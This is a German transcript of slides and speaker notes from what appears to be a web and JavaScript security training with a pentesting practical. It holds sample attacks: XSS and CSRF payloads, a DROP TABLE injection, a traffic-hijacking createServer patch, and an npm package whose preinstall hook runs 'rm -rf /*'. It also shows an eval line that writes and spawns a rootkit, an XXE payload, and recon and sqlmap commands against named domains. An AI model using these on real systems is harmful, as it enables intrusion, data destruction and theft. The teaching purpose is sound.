 Object.seal(point)  ;   Object.freeze(point); Demo: point = {x:1,y:2}; point.z = 1; Object.preventExtensions(point); point.a = 1; delete(point.z); Object.seal(point) ; delete(point.y); Object.freeze(point); point.y=5;
  • 172. Z Tampering
 Tamper-­‐Proof   Objects Object.freeze  =  funcFon(ob){return  ob};
 Demo: point2={x:1,y:2}; Object.freeze = function(ob){return ob}; Object.freeze(point2); point2.x = 12; point2
  • 173. Z Tampering
 Tamper-­‐Proof   Objectsrequire.js:   (funcFon  (global)    {   var  …op  =  Object.prototype,                            ostring  =  op.toString,  …
 
 Object.prototype.toString=funcFon()   {alert(1);};   Das gleiche gilt natürlich für alle Properties, die innerhalb der Methoden genutzt werden - denn die dort aufgerufenen Methoden können bereits manipuliert sein.
  • 174. Z Ecmascript  6   Proxies function makeLogger(target) { var proxy = new Proxy(target, { get: function(target, name) { return target[name]; }, set: function(target, name, val) { return target[name] = val; }, }); return proxy; } Neben Strict, Modules und Classes gibt es noch ein Feature, das Sicherheit erlaubt - und zwar proxies. Ich kann globale Objekte einfach in so einen Proxy umlenken, und anhand des Proxies dann alle Zugriffe kontrollieren.
  • 175. Z Ecmascript  6   Proxies Logging  aller  Zugriffe   Temporärer  Zugriff   Access  Control Und das kontrollieren bedeutet nicht nur Logging, sondern ich kann damit auch den Zugriff kontrollieren. Der Caller einer Methode ist glücklicherweise nicht überschreibbar, und damit kann ich explizit und individuell dem JavaScript unterschiedliche Rechte einräumen.
  • 176. ZKann  man  überhaupt  sicher   arbeiten,  wenn  man     fremdes  JavaScript  zulässt?   3rd  Party     JavaScript Es ist also wirklich schwer, JavaScript sicher zu nutzen, wenn man anderen Leuten Zugriff auf JavaScript gibt. Gibt es überhaupt eine Möglichkeit das zu machen?
  • 177. Z 3rd  Party     JavaScript Das Problem hatte diese Firma auch. Die erlaubt sowohl bei Google Sites als auch bei Google Docs fremdes JavaScript. Und sie wollen natürlich weder einen Wurm noch irgendetwas ähnliches auf der Plattform.
  • 178. Z 3rd  Party     JavaScript Google  „Caja“     Compiler  für  JavaScript   Erzeugt  sicheres  JS Und sie haben es ziemlich elegant gelöst mit Google Caja. Google Caja compiliert vorhandenes JavaScript in sicheres Javascript.
  • 179. Z 3rd  Party     JavaScript Secure  JavaScript   Subset(SES)   Dom-­‐Wrapper  Domado   HTML/CSS-­‐SaniFzer Und wie machen die das? Zunächst einmal erlauben die nur ein kleines Subset von JavaScript selbst. Dann wird DOM komplett gewrappt, um die Zugriffe zu beschränken, und zuletzt wird alles HTML & CSS durch einen Sanitizer gejagt, damit damit nicht noch unsauberes JavaScript eingeführt wird.
  • 180. Z 3rd  Party     JavaScript <script  src=“startSES.js”></script>   Friert  alle  wichFgen  Objekte  ein   whitelisted  wenige  Objekte   Modifiziert  eval/funcFon  für  strict  only Das Secure JavaScript kann ich sogar selbst nutzen - indem ich startSES aus dem Caja-Projekt schlicht an den Anfang meines JavaScript stelle. Damit habe ich dann automatisch ein Environment, indem javascript nicht mehr alles modifizieren kann.
  • 181. ZXSS Wie  kann  ich  das  selbst  nutzen? Aber natürlich hat nicht jeder ein Environment, indem man konsequent use strict voraussetzen kann. Was macht man also in dem Fall?
  • 182. ZXSS “Use  strict;“  
 
 in  allen  neuen  FunkFonen  oder  Libraries. In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  • 183. ZXSS Im  bestehenden  Code  en‰ernen:   *.innerhtml  ändern   eval();   JSON  in  eval();   document.write(); In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  • 184. ZXSS Ebenfalls  en‰ernen:  
 Inline  <script>-­‐Javascript   -­‐>  Auslagern   -­‐>  Komprimieren In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  • 185. ZXSS En‰ernen:   on-­‐Events   Explizit  binden:     $('#main').bind("click",  funcFon(e)  {  alert(1)  }); In HTML selbst gibt es ein paar Methoden, die man nie nutzen sollte. So praktisch sie auch aussehen. Ebenfalls sollte man versuchen Libraries, die sie einsetzen, selbst einzusetzen.
  • 186. ZXSS Libraries:   Alte  Libraries  (json.js,  jquery)  updaten   h<p://bekk.github.io/reFre.js/   Auch  wenn  Google  sie  noch  hostet  ... Alte Libraries sollten tatsächlich aktualisiert werden.
  • 187. ZXSS JQuery  modernisieren:     Niemals  untrusted  Input  in  die  Sinks...     JQuery(),  $(),  $().html,  $().before(),  
 $().ader,  $().prepend,  $().append Bei Jquery sollte man wissen, welchen Funktionen man trauen kann und welchen nicht - also welche Sinks sind und welche nicht. All diese Funktionen sollte nicht mit User-Input gefüttert werden.
  • 188. ZXSS Server-­‐InterakFon:     Korrekt  escapen:
 Urls  mit  EncodeURI   HTML  zB  mit  JsHtmlSaniFzer   Whitelists  !
  • 189. ZXSS Content-­‐Security-­‐Policy:  script-­‐src  ‘self‘   X-­‐Content-­‐Security-­‐Policy:  script-­‐src  ‘self‘   X-­‐WebKit-­‐CSP:  script-­‐src  ‘self‘ Header Der erste Header ist für neue Firefox und Chrome, der zweite für alte Firefox und IE10, der dritte für Webkit. Achtung: die machen in der Konfiguration alle schlechte JS-Libraries wie etwa jquery kaputt, weil diese eben eval() brauchen - und das wird hier deaktiviert.
  • 191. ZXSSHeader Whitelist  für  externe  Inhalte   Defence  in  depth CSP ist ein Konzept um das Einschleusen von externen Daten in die eigene Website zu verhindern. Die CSP erzwingt eine strikte Trennung von Inhalten (HTML) und externen Dateien (CSS, JS) Ursprünglich wurde die CSP von der Mozilla Fondation entwickelt. 2012 wurde es als W3C-Draft in die Arbeitsgruppe zur Sicherheit von Webanwendungen aufgenommen. CSP ist ein Whitelist-Filter. Auf die Whitelist kommen alle Resourcen bei denen man weiß das diese "gut" sind. CSP ist kein Allheil mittel. Nur eine zusätzliche Art der Verteidigung. Nutzerinteraktionen sollen weiterhin validiert & escaped werden!
  • 192. ZXSSHeader <scrip>alert(‚XSS')</script>   setTimtout("[code]",  1),  setInterval(….)   eval()   on-­‐events   Es ist nicht nur eine reine Whitelist. Wird der CSP Header mitgeschickt, werden einige "Features" per Default deaktiviert: Inline JS muss in ein externes JS File ausgelagert werden, welches von einer Vertrauenswürdigen Domain bereitgestellt weurd. EVAL wird komplett geblockt. Die kann bei älteren jQuery Versionen zu problemen führen. Mit der "unsafe-eval" Direktive kann die Funktion wieder aktiviert.
  • 193. ZXSSHeader on-­‐events   <a  href="javascript:(.....);">   <img  src="not-­‐exisFng"  onError="document.createElement('script')(...)"  > ON/DOM event Attribute wie in onClick, onError, etc, werden geblockt. Diese müssen durch extern registrierte Eventhandler ersetzt werden. Selbes gilt für <a> tags mit einem href Attribut das mit "javascript:" startet. Der ganze JS Code muss in externen Files müssen von einer Whitelisted Domain geladen werden.
  • 194. ZXSS Content-­‐Security-­‐Policy:  default-­‐src  ‘self‘   <img  src=“bla“  onerror=alert(1)>   Content-­‐Security-­‐Policy:  default-­‐src  ‘self‘  ‘unsafe-­‐inline‘   <img  src=“bla“  onerror=alert(1)> Header man kann es aber gezielt, etwa für die eigenen Domain oder den JS-CDN seines vertrauens wieder aktivieren.
  • 195. ZXSS default-­‐src,  script-­‐src,  object-­‐src,  style-­‐src,  img-­‐src
 media-­‐src,  frame-­‐src,  font-­‐src,  connect-­‐src,  form-­‐acoon   sandbox,  script-­‐nonce,  plugin-­‐types,  reflected-­‐xss,  report-­‐uri   h<p://www.cspplayground.com Header http://www.cspplayground.com
  • 196. ZXSS Content-­‐Security-­‐Policy:     default-­‐src  'self';     img-­‐src   *;     object-­‐src    cdn1.mayflower.de           cdn2.mayflower.de           *.staFc.mayflower.de;     script-­‐src   trustedscripts.mayflower.de Hier sehen wir eine Sequenz von Direktiven. default-src = Erlaube mir per Default Resourcen von meinem eigenen Origin zu laden Für unterschiedliche Resource Typen kann man diese spezifisch definieren bzw. die default Policy überschreiben. img-src = Bilder sind von überall erlaubt. Vielleicht möchte ich das ein oder andere hässliche Bild blockenm, aber okay. Damit kann man leben. img-src beinhaltet nicht nur <img> Tags, sondern auch Bilder die im CSS geladen werden. object-src or embedded tags = Diese möchte ich nur von meinen zwei CDNs erlauben. script-src = scripts Wie werden diese vom Browser verarbeitet? Angenommen ich bring einen Typo rein. Greift dann alles ausser meine Typo definition? Zuerst werden immer die Defaults hergenommen und von allen weiteren Direktiven überschrieben. Mann könnte auch anstatt der Sequenz jede Direktive in einem einzelnen Header senden. In diesen Beispiel wären dass 6 Header.
  • 198. ZXSSHeader Edge cases. Wir wollen ein Analytics Tool unserer Wahl integrieren. Es verlangt Inline Script. Wie soll ich damit umgehen?
  • 199. ZXSS script-­‐src  ‘self‘  ‚nonce-­‐NoTi6ZbOPuktvl’   <script  nonce=“NoTi6ZbOPuktvl“>   //  inline  js   </script>   Header
  • 200. ZXSS CSP  nachrüsten:     Content-­‐Security-­‐Policy-­‐Report-­‐Only:  script-­‐src  'self';                                                                            report-­‐uri  /csp-­‐report-­‐endpoint/   Header Wie geh ich damit in der Entwicklung um? Wie rüste ich die CSP nach? Dazu gibt es diesn Header. Um die Auswirkungen einer aktivierten CSP zu sehen, setzt man diesen und bekommt einen Report über die report-uri.
  • 201. ZXSSReport:   {      "csp-­‐report":  {          "document-­‐uri":  "hgp://example.org/page.html",          "referrer":  "hgp://evil.example.com/",          "blocked-­‐uri":  "hgp://evil.example.com/evil.js",          "violated-­‐direcove":  "script-­‐src  'self'  hgps://code.jquery.com",          "original-­‐policy":  "script-­‐src  'self'  hgps://code.jquery.com;  report-­‐uri   hgp://example.org/my_amazing_csp_report_parser"      }   } Header Wie geh ich damit in der Entwicklung um? Wie rüste ich die CSP nach? Dazu gibt es diesn Header. Um die Auswirkungen einer aktivierten CSP zu sehen, setzt man diesen und bekommt einen Report über die report-uri.
  • 202. ZXSS CSP  deakFvieren:     <meta  h<p-­‐equiv="Content-­‐Security-­‐Policy"   content="default-­‐src  'none'">   injecten. Header Und mit einer HTML-Injection kann ich das ganze dann doch wieder aktivieren … Das ganze funktioniert auch mit einer Injection in der Runtime.
  • 203. ZXSS X-­‐XSS-­‐ProtecFon:  1;  mode=block   X-­‐FRAME-­‐OPTIONS:  DENY   Header Der Internet Explorer hat sich noch mehr Features einfallen lassen, dafür wollte er ja auch zunächst nicht bei der Content-Security-Policy mitmachen. X- XSS-Protection macht ein lustiges Filtering von Eingaben und Ausgaben und adressiert vor allem Reflektive XSS. Ich kann also nicht mehr nach <script> auf google suchen, wenn das aktiv wäre. X-Frame-Options sind wiederum gut, um Clickjacking-Attacken systematisch zu stoppen, sollte man also machen, wenn man nicht partout eingebettet werden muss.
  • 204. fCSRFCross  Site     Request  Forgery „Sea  Surf“ „Anfragenfälschung“ Aber es gibt nicht nur XSS, die eine Rolle bei JavaScript-Applikationen spielen. Die zweite Klasse von Bugs, die durch die defekte Architektur von Browsern entstehen. Wenn ich mit meinem Browser auf Google Mail angemeldet bin, dann gilt diese Anmeldung auch für die anderen Tabs im Browser - sie können zwar nicht die Daten lesen, aber wenn ich aus meinem evil.com einen Request mit der Formaction Richtung Google abschicke, dann kommt die dort mit der Authentifizierung - sprich dem Cookie - meines Browsers an.
  • 205. fCSRF <img src="http://mysite.com/vote/30" /> Das ist die einfachste Variante für eine CSRF-Attacke. Der Klassiker, ein Online-Poll, bei dem jede IP nur einmal abstimmen darf. Und ich habe auf einer Seite mit viel Traffic einfach dieses Bild eingebunden - und bekommen im Gegenzug sehr viele Stimme.
  • 206. fCSRF <form id=“a“ action=“/examplePage.do" method="POST"> <input type=text name=“product"/> <input type=text name="amount"/> <input type=checkbox name=„AGB_OK“ value="yes"/> <input type=text name="submit" id="submit" value="Continue"/> </form> Das geht aber nicht nur per GET, das geht natürlich auch per POST. Stellen wir uns mal vor, dass wir so ein Formular auf der Seite haben. Der Nutzer hat sich hier im Shop bereits eingeloggt, es gibt also eine gültigen Cookie.
  • 207. fCSRF<html><body onload=„document.createElement('form').submit.call(docu ment.getElementById('a'))"> <form id=“a“ action=“/examplePage.do" method="POST"> <input type=text name=“product" value="Porsche"/> <input type=text name="amount" value="1"/> <input type=text name=„AGB_OK“ value="yes"/> <input type=text name="submit" id="submit" value="Continue"/> </form></body></html> Da brauche ich auf der Angreiferseite nur das ein Formular mit den gleichen Daten, das automatisch abgeschickt wird.
  • 208. fCSRFCross  Site     Request  Forgery Schutzmaßnahmen:   Referercheck  (nicht  ausreichend)   Token-­‐AuthenFfizierung Gegen Cross Site Request Forgery schützt man sich in ganz schlecht mit einer Verlagerung von GET auf POST, in etwas weniger schlecht mit einem Referer- Check, den man mit etwas geschick umgehen kann, und korrekt mit einer Token-authentifizierung, der mit dem Formular mitgeliefert wird und nur meinem Client und dem Server bekannt ist.
  • 209. fCSRFCross  Site     Request  Forgery Jeder  XSS  boykoŠert  
  CSRF-­‐ProtecFon Da kommen wir aber auch gleich zu unserem Problem - wenn meine Seite einen XSS enthält, dann kann genau dieser Token bequem ausgelesen werden - und dadurch ein falscher Request hergestellt werden, und im Browser des Clients angeschickt werden. Der XSS muss noch nicht einmal auf der Korrekten Seite sein - das Formular mit dem Token kann ich dank Same Origin Policy ja auch direkt mit xmlhttprequest auslesen.
  • 210. l SQLSQL-­‐InjecFons Nutzerinput  wird  ungefiltert  an  die   Datenbank  gegeben. Und hier auch gleich das nächste Thema - SQL Injections. Die spielen bei JavaScript-Applikationen natürlich nur Serverside eine Rolle, wenn etwa Node.js als Webserver genutzt wird und ein MySQL dahinter stattfindet.
  • 211. l SQLSQL-­‐InjecFons INSERT INTO TABLE STUDENTS (Id, Name) 
 VALUES (1337, ‘Johannes‘); Zum Beispiel trägt sich Johannes als Teilnehmer auf den JavaScript Days ein, und wird dort in die Datenbank geschrieben.
  • 213. l SQLSQL-­‐InjecFons INSERT INTO TABLE STUDENTS (Id, Name) 
 VALUES (1337, ‚Robert‘); DROP TABLE students; -- ); Und das war die Query, die in diesem Cartoon abgeschickt wurde.
  • 214. l SQLSQL-­‐InjecFons Parameter  Binding! INSERT INTO TABLE STUDENTS (Id, Name) 
 VALUES (1337, ‘Johannes‘); Die typische Antwort auf SQL-Injections ist Parameter Binding. Das funktioniert auch in der Tat, denn hier kann ich den Syntaktischen Scope nicht mehr verlassen. Die liegen nämlich nicht mehr im String, sondern an anderer Stelle. Ein Verlassen des Value-Scopes ist nicht mehr möglich, denn im SQL-String gibt es nur noch einen Pointer, der auf den Value-Record zeigt.
  • 215. l SQLSQL-­‐InjecFons Reicht  Parameter  Binding      aus? Und das war die Query, die in diesem Cartoon abgeschickt wurde.
  • 216. l SQLSQL-­‐InjecFons Parameter  Binding?! http://tld.com/students?sortby=name&sortorder=ASC SELECT * FROM students ORDER BY name ASC Genau an dieser Stelle geht Parameter Binding nicht mehr.
  • 217. l SQLSQL-­‐InjecFons WhitelisFng   ORM  des  Vertrauens Die Lösung dafür ist entweder ein konsequentes Whitelisting - Gerüchten zufolge gibt es nur 2 Sortierrichtungen und meist begrenzt viele Spalten - oder man überlässt es seinem ORM.
  • 219. ZNode.js Viele  Sinks:   eval(),ChildProcess.*,  Cluster.*,fs.*,   h<p.*,  net.*,  process.*,  dgram.*   Zugriff  auf  Netzwerk,  Filesystem,   Prozesse   In node.js gibt es sehr viele Funktionen, die Probleme erzeugen können, wenn ihnen unvalidierter Code übergeben wird. Natürlich gibt es diese Funktionen auch in allen anderen Sprachen, aber bei JavaScript ist man sie bisher nicht gewohnt - und achtet dementsprechend weniger auf die Risiken dahinter.
  • 220. ZNode.jshttp.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello Worldn'); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337/'); Und wir haben die klassischen JavaScript-Probleme - diesen Code kennt vermutlich jeder, mit ihm erzeuge ich einen neuen node-basierten HTTP-Server. Aber weil es JavaScript ist, kann ich mit einer Code Injection die vollständige Infrastruktur der Sprache boykottieren.
  • 221. ZNode.js var http = require('http'); oldfunc = http.createServer; http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc); } Und das ist der Code, mit dem ich Create-Server so umschreibe, dass ich ich allen Verkehr zu einer dritten Partei umleiten kann. Genauso wie ich window.alert umschreiben kann kann ich auch http.createServer umschreiben.
  • 222. ZNode.js Demo   var http = require('http'); oldfunc = http.createServer; http.createServer=function (myfunc) { console.log('Hijacking createServer'); newfunc = function (req, res) { result = myfunc(req, res); console.log('MITM Request:'); console.log(req); console.log('MITM Response:'); console.log(res); return result; } return oldfunc(newfunc); } http.createServer(function (req, res) { res.writeHead(200, {'Content-Type': 'text/plain'}); res.end('Hello Worldn'); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337/');
  • 223. ZNode.js npms   Kommen wir zu einem ganz dunklem Kapitel.
  • 224. ZNode.js AuthenFcated  only  by  E-­‐Mail   ca  30.000  Packages,  no  Security-­‐Checks   Sinks:     zB  1686*Spawn()                9518*eval()                3977*writeFile()     Average  Quality  is  low Kommen wir zu einem ganz dunklem Kapitel. NPMs sind einer der wichtigsten Gründe für das enorme Wachstum von Node. Und genau die offene Infrastruktur, die zur schnellen und weiten Verbreitung führte, ist vom Security-Standpunkt her ein Problem. Denn auch hier gilt das Appstore-Phänomen: man vertraut der Absenderadresse, auch wenn sie eigentlich gar kein Vertrauen verdient - denn jeder von uns kann jederzeit ein Package einstellen, ohne jenseits seiner E-Mail-Adresse authentifiziert zu werden.
  • 225. ZNode.js { "name": "rimrafall", "version": "1.0.0", "description": "rm -rf /* # DO NOT INSTALL THIS", "main": "index.js", "scripts": { "preinstall": "rm -rf /*" }, "keywords": [ "rimraf", "rmrf" ], "author": "João Jerónimo", "license": "ISC" } Das ist die package.json vom Package rimraffall gewesen. Fällt jemanden was auf?
  • 226. ZNode.jsSessions Your Problem Persistance You, again Caching Oh, that’s you Authentication You? Logging Your Job, obviously Error Handling Make a guess… Node hat relativ klare Vorstellungen darüber, wer sich um was zu kümmern hat. Es kümmert sich um http und die V8-Engine, alles sonst ist Euer Job.
  • 227. ZNode.js Support  für  typische  Security-­‐Features:   -­‐  node-­‐validator  für  validaoon  &  saniozing        require('validator').sanitize(mystr).xss();   -­‐  express  csrf  middleware        app.use(express.csrf()); Für die normalen Security-Anforderungen sind die meisten Pakete vorhanden, beide auch im express-Umfeld vorhanden.
  • 228. ZNode.js node-­‐validator  SaniFzer:     Blacklister,  also  gibt  es  Workarounds:
 <!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y> 
 und in test.xxe: <script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script> Der Validator ist der Rewrite der Code-Igniter Infrastruktur und ok. Die Validator-Funktionen sind gut, und die Sanitizer-Funktionen - wie jede Blacklist - unvollständig und es existieren Workarounds.
  • 229. ZNode.js SQL-­‐InjecFons:   nodejsdb  solide,  inklusive  Parameter  binding   Aber:  WhitelisFng  von  Bezeichnern  und  SQL-­‐ Syntax  trotzdem  erforderlich   Auch was die Basisinfrastruktur angeht sieht es nicht so schlecht aus - das nodejsdb mysql Interface macht zB auch einen guten Eindruck. Ich muss natürlich auch nicht-bindbaren Syntax, der in die Query geht validieren - sonst sind wieder SQL-Injections oder blind SQL-Injections möglich. Aber wie gesagt, das sind nur 3 von 30.000 Modulen, und gerade die selten genutzten Module sind nicht wirklich vertrauenswürdig.
  • 230. ZNode.js ReDOS-­‐A<acken:  exisFerende  reguläre   Ausdrücke  so  fü<ern,  dass  sie  beliebig  viel   CPU  brauchen.   Beispiel:     var  match  =  /^(a+)+$/.exec('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!');   Blockiert  den  Server  >  10  Sekunden.
  • 231. ZNode.js Wenn  ich  ein  eval()  im  Server  habe  ...     process.kill(process.id);   require(‘fs‘).writeFileSync(‘/tmp/rootkit‘,  data,  ‘base64);   require(‘child_process‘).spawn(‘/tmp/rootkit‘);  
  • 232. ZNode.js Node.js  auch  auf  Port  80  nicht  als  Root!   per  sudo  starten  und  dann  ...   var uid = parseInt(process.env.SUDO_UID); if (uid) process.setuid(uid);
  • 233. ZFazit Basis-­‐Infrastruktur  sichern:     gute  Libraries   guter  JavaScript-­‐SFl   mit  JSLint/JSHint  sichern   Blacklists  sind  nie  100%   Escaping  nur  nach  Kontext
  • 234. ZDemo Wie  sichere  ich  eine  Node-­‐ApplikaFon  ab?
  • 235. EPentesFng Hallo zusammen und willkommen zum praktischen Teil! Was Ihr hier seht die die Visitenkarten von Kevin Mitnick, den mal meistgesuchten Hacker der Welt. Aber das ist nicht nur eine Visitenkarten - wer erkennt, was da noch mit drinsteckt?
  • 236. EPentesFng ?Was ist Penetration Testing? Erst mal kann man an dem Namen erkennen, wie Nerd tatsächlich die Security-Branche ist - Penetration weckt da keinerlei andere Assoziationen, das ist halt ein technischer Prozess. Keinerlei erotische Konotation.
  • 237. EPentesFng Was ist Penetration Testing eigentlich? Wenn man der Presse trauen darf, ist das der Moment, in dem man die Skimaske aufsetzt und aus der Hacker- Perspektive tätig wird. Jetzt denkt man natürlich: ist das nicht verboten? Wollen wir das tatsächlich machen? Sollte man das nicht lieber bleiben lassen?
  • 238. Es  wird  unser  Problem   wenn  er  es     macht. https://www.flickr.com/photos/devdsp/6999839463 Und das ist der Haken an der Sache - wenn wir es nicht machen, dann ist alles gut - bis zu dem Tag, an dem es jemand anderes macht.
  • 239. Und wenn die das machen, dann gibt es Ärger für die Softwareentwickler, nicht für die Hacker.
  • 240. „Lass  mich
  Dir  helfen.“ https://www.flickr.com/photos/devdsp/6999839463 Und dann kommen die Hacker gleich noch mal um die Ecke, in diesem Fall nennen sie sich aber Security-Auditor. Sie auditieren, dokumentieren was man alles falsch gemacht hat. Und nennen das Hilfe.
  • 241. Hacker                        Sie   2                  :                          0 Endstand: die Hacker haben einmal durch den Einbruch gewonnen, und danach haben wir anderen von ihnen beauftragt. Und wer das nicht möchte, der macht eben selbst Penetration Testing.
  • 242. 2005 war ich ein Jahr in Argentinien, mit meiner Frau, die bei BMW arbeitet. Und wie es sich gehört haben wir da ein interkulturelles Training bekommen, weil viele Dinge in Südamerika anders sind als hier. Und natürlich spielt Sicherheit eine besondere Rolle.
  • 243. Und da haben sie mir beigebracht, wie sicher ich meine Wohnungstür zu machen hatte. Hat jemand eine Idee, wie viele Schlösser man an der Tür braucht, wenn man in einer normalen Gegend in Buenos Aires wohnt? Die Jungs von der Sicherheitsfirma, die beim interkulturellen Thema dabei waren konnten mir helfen: eins mehr als der Nachbar.
  • 244. Das gleiche gilt auch oft für Security - wenn ich nicht die tiefhängende Frucht bin habe ist statistisch deutlich weniger Probleme. Viele Hacker, speziell Script-Kiddies und kommerzielle Exploiter aus dem Osten prüfen das Ziel kurz, und wenn dort nach einiger Zeit nichts gefunden wird zieht man weiter.
  • 245. E OrganisaFon Setup   Erkunden   Lücken  ausnutzen   Analyse   Fehlerbehebung Ok, beginnen wir also damit. Wie organisiert man einen Pentest? Welche Schritte nimmt man vor?
  • 247. E Kali  Linux Das Tool der Wahl ist Kali Linux, und viele haben es hoffentlich schon installiert. Kali Linux ist - wie der Name schon sagt - eine Linux-Distribution. Faktisch ist Kali aber die Penetration-Testing-Universal-Waffe.
  • 248. E Kali sieht sich selbst nicht ganz unbescheiden als die Plattform schlechthin für Penetration Testing.
  • 249. EKDE/Gnome-­‐basiert   Linux-­‐Knowhow  vorteilha^   VM  +  Nexus   Kali Linux ist ein Linux. Warum machen die das? Weil ein normales Betriebsystem nicht ausreicht. Zum Beispiel brauche ich für manche Wifi-Exploits Injection-Fähige Treiber. Braucht man Linux-Knowhow? Ja, für Security, so generell. Aber nicht für Kali selbst, da geht das meiste über Menus. Meist wird es als virtuelle Maschine betrieben, aber es gibt zB auch eine mobile Edition für zB die Nexus-Geräte.
  • 250. E Toolset Einloggen, Menu vorstellen. Oft wird nur als Root gearbeitet. Wer hat alles Kali installiert?
  • 251. EReconnaissance   Erkunden 2 Dann kommt die Erkundung - ich schaue mir erst mal an, was alles geht.
  • 253. E Erkunden DNS   dnsenum   dnsrecon   dnsdict6  &  fierce dnsenum dnsenum --enum mayflower.de dnsenum --enum nfq.com dnsrecon dnsrecon -t std -d mayflower.de dnsdict6 -4 mayflower.de fierce -dns mayflower.de
  • 254. E Erkunden Google   theharvester   metagoofil theharvester -d mayflower.de -b bing theharvester -d mayflower.de -b pgp theharvester -d protonet.info -b bing metagoofil -d microsoft.com -t doc -l 25 -o microsoft -f microsoft.html
  • 257. E Erkunden Skipfish skipfish -o mayflower /usr/share/skipfish/dictionaries/minimal.wl http://mayflower.de
  • 259. E Erkunden Arachni arachni —output-verbose —report-save-path=mayflower.de http://Mayflower.de arachni_reporter /usr/share/arachni/bin/mayflower.de.afr —report=html:outfile=mydriver.html
  • 260. EExploitaPon   Lücken  ausnutzen 3 Danach kommt der wichtigste Schritte - das exploiten. Wenn ich mit Skip-Fish Lücken gefunden habe - oder eben auch keine gefunden habe - dann muss ich mir das Problem näher anschauen. Und das mache ich bei Webapplikationen im Regelfall mit einem Security-Proxy, den ich zur Analyse nutze.
  • 261. E Lücken  ausnutzen Burp  Suite   Free Burp Suite ist ein kommerzielles Produkt. Er wird als Proxy genutzt und erlaubt die manuelle und automatisierte Untersuchung von Webseiten.
  • 262. E Lücken  ausnutzen Burp  Suite   Commercial Die kommerzielle Variante bietet eine ganze Reihe von Optionen mehr
  • 263. E Lücken  ausnutzen SQL-­‐Map sqlmap —cookie=„..“ -u „http://hackme.mayflower.de:81/vulnerabilities/sqli/?id=1&Submit=Submit“ -> Parameter id Dann —dbs Dann -D dvwa —all
  • 266. Warum werden Web- Applikationen angegriffen? Profit Fun Der Angreifer ist also keineswegs mehr der Amateur zuhause, sondern Dienstleister in einem funktionierenden Markt. „Für 40.000 Euro bekommt man die Daten jeder Firma“
  • 267. Motive im Detail Informationsdiebstahl Defacement Malware Unbekannt Betrug Erpressung Link Spam Würmer Phishing Information Warfare Hauptmotivation ist Informationsdiebstahl, dh. der Diebstahl von sensiblen Daten. Aus diesem Grund wird dieses Thema auch explizit behandelt.
  • 268. Wege zum Einbruch SQL Injection Information Disclosure Bekannte Lücken XSS Fehlende Zugangskontrolle Raten von Zugangsdaten/Session OS Code Execution Fehlkonfiguration Fehlende Anti-Automation Denial Of Service Redirect Mangelhafter Session-Timeout CSRF Source: NSI 2006
  • 269. Developer und Security „Das wird niemals jemand ausprobieren.“ „Warum sollte jemand das machen?“ „Unsere Applikationen wurde noch nie angegriffen.“ „Wir sind sicher, denn wir haben eine Firewall.“ „Wir haben unseren Code geaudited, es gibt keine Fehler mehr.“ „Es ist zwar ein Fehler, aber nicht ausnutzbar.“ „Aber die Option ist normalerweise nicht aktiv.“ Es ist ein Irrtum, dass der Developer alles notwendige über Web Security wissen kann. Der Bereich ist zu komplex und entwickelt sich zu schnell, als dass das möglich wäre.
  • 270. Der Entwickler als Landwirt Zukunftschance Olivenanbau in der Toskana Vielleicht sollte man sich nach ganz anderen Sachen umschauen ...
  • 271. Zumindest sind wir nicht die einzigen ... Erinnern Sie sich an Code Red Nimda Sasser Outlook-Virii ? Wir haben ja viele Microsoft-Entwickler hier. Wenn mich nicht alles täuscht, ist Bill Gates nicht in Rente - offensichtlich haben die Jungs eine Lösung gefunden.
  • 272. Der Security Development Lifecycle Entwickelt von Microsoft im Rahmen der Trustworthy Computing Kampagne 2002 Trotzdem eine gute Sache Keine neue Erfindung, sonder Sammlung funktionierender bekannter Ideen Für existierende und neue Projekte Resultat: 50-60% weniger Post-Release Bugs
  • 273. Bestandteile von SDL Schulung von Entwicklung und Management Sicherheit als Bestandteil des Software Lebenzyklus Feststellung von Risiken Risikoanalyse Best Practices und Code Reviews Security Maintenance Infrastructure
  • 274. Managementunterstützung SDL benötigt 100% Managementsupport Wirklich. Offizielles Bekenntnis und sichtbare Aktivität 15-20% Mehraufwand/kosten initial, 
 <10% dauerhaft Akzeptanz ein Projekt stoppen zu müssen! Bei den Kosten für Sichere Software werden sicherlich manche gerne darauf verzichten wollen :-)
  • 275. Entwickler, aber sicher Mindestens eine Sicherheitsschulung pro Jahr Web Applikationssicherheit ist schnelllebig Benennung von Security Trainern Sicherheitsdokumentation erstellen Ein gut geschulter Entwickler ist 60% der Miete, nicht mehr und nicht weniger.
  • 276. Risikogetriebene Softwareentwicklung neben den Requirements werden initial auch die Risiken erfasst und analysiert wie Requirements müssen auch die Risiken behandelt werden Risiken ändern sich während der Projektzeit
  • 277. Risikoerfassung - Angriffsflächenanalyse Webanwendungen enden meistens rechts oben. Das ist der schlechteste Platz.
  • 278. Reduktion der Angriffsfläche Jedes Feature prüfen wird dieses Feature von allen Nutzern benötigt? kann dieses Feature von überall erreicht werden? wird dieses Feature von unauthorisierten Nutzern benötigt? Beispiel: sind Admin-URLs auch vom Internet aus erreichbar? Gerade bei Webapplikationen werden viele mögliche Einschränkungen der Angriffsfläche übersehen.
  • 279. Risikoerfassung: Privacy Impact Rating Hoch: Die Applikation speichert oder überträgt sensible Daten Mittel: Die Applikation speichert oder übermittelt anonyme Daten Niedrig: Alles andere In den Zeiten von Schäuble und Web 2.0 vermutlich kein Thema mehr :-)
